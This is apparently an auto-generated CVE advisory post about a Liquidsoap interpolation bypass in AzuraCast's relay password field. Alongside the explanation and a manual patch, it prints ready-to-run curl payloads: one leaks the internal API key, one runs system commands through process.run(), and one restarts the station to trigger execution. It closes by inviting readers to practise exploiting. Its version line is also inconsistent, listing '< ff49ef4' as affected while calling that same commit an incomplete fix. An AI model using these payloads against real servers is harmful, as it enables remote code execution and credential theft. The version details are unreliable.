Listen to this Post
How the CVE Works (approx. 20 lines)
The vulnerability exists in `ConfigWriter.php` method cleanUpString(), which uses an ungreedy regex (/{(.)}/U) to strip Liquidsoap interpolation patterns from user input. The `/U` flag makes `.` match the minimum characters until the first }. When an attacker supplies nested interpolation like {{EXPR}}, the regex matches from the first `{` up to the first `}` – which consumes `{EXPR` instead of the whole expression. After replacement, the result becomes `{EXPR}` with a trailing `}` appended, forming a valid Liquidsoap interpolation. The incomplete patch (commit ff49ef4) migrated many fields to the safe `toRawString()` (which uses raw string delimiters that block interpolation), but the remote relay password field was left using cleanUpString(). The password is embedded in a double‑quoted Liquidsoap string, so any `{…}` gets evaluated. An attacker with the `RemoteRelays` station permission can send a `PUT /api/station/{id}/remote/{id}` request with a crafted source_password. After `cleanUpString()` bypass, the password becomes executable Liquidsoap code. Examples: `{{settings.azuracast.api_key()}}` leaks the internal API key; `{{process.run(string.char(105)^string.char(100))}}` runs `id` for RCE. The config regenerates on station restart or any setting change, triggering execution. The same bypass works for the `$(…)` regex. No additional validation exists, and the password length is limited to 100 chars (payloads fit).
dailycve form
Platform: AzuraCast
Version: < ff49ef4
Vulnerability : Regex interpolation bypass
Severity: Critical
date: 2026-03-06
Prediction: 2026-03-20
What Undercode Say:
API key disclosure payload
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "{{settings.azuracast.api_key()}}"}'
RCE payload (id command)
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "{{process.run(string.char(105)^string.char(100))}}"}'
Trigger config regeneration (restart station)
curl -X PUT "http://azuracast.local/api/station/1/restart" \
-H "X-API-Key: $API_KEY"
Exploit
The attacker needs only the `RemoteRelays` station permission (no global admin). They send a PUT request to `/api/station/{id}/remote/{id}` with `source_password` set to a nested payload like {{EXPR}}. The ungreedy regex produces a valid Liquidsoap interpolation. After the station regenerates its Liquidsoap config (e.g., by restarting or modifying any setting), the payload executes inside the Liquidsoap process. The attacker can read internal API keys, run system commands via process.run(), or crash the station.
Protection
Upgrade to a version that includes the complete fix (commit ff49ef4 plus the additional patch for the password field). If patching immediately is impossible, manually edit `ConfigWriter.php` lines 1208‑1215: replace `$password = self::cleanUpString($source->password);` with `$password = $source->password ?? ”;` and change the output line to $outputParams[] = 'password = ' . self::toRawString($password);. Also deprecate or remove `cleanUpString()` entirely, migrating all callers to toRawString().
Impact
- Arbitrary code execution inside the Liquidsoap container (via
process.run()) - Full internal API key disclosure, granting complete station control
- File read/write within the Liquidsoap container
- Denial of service by crashing Liquidsoap
- Low privilege barrier – only `RemoteRelays` permission required
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

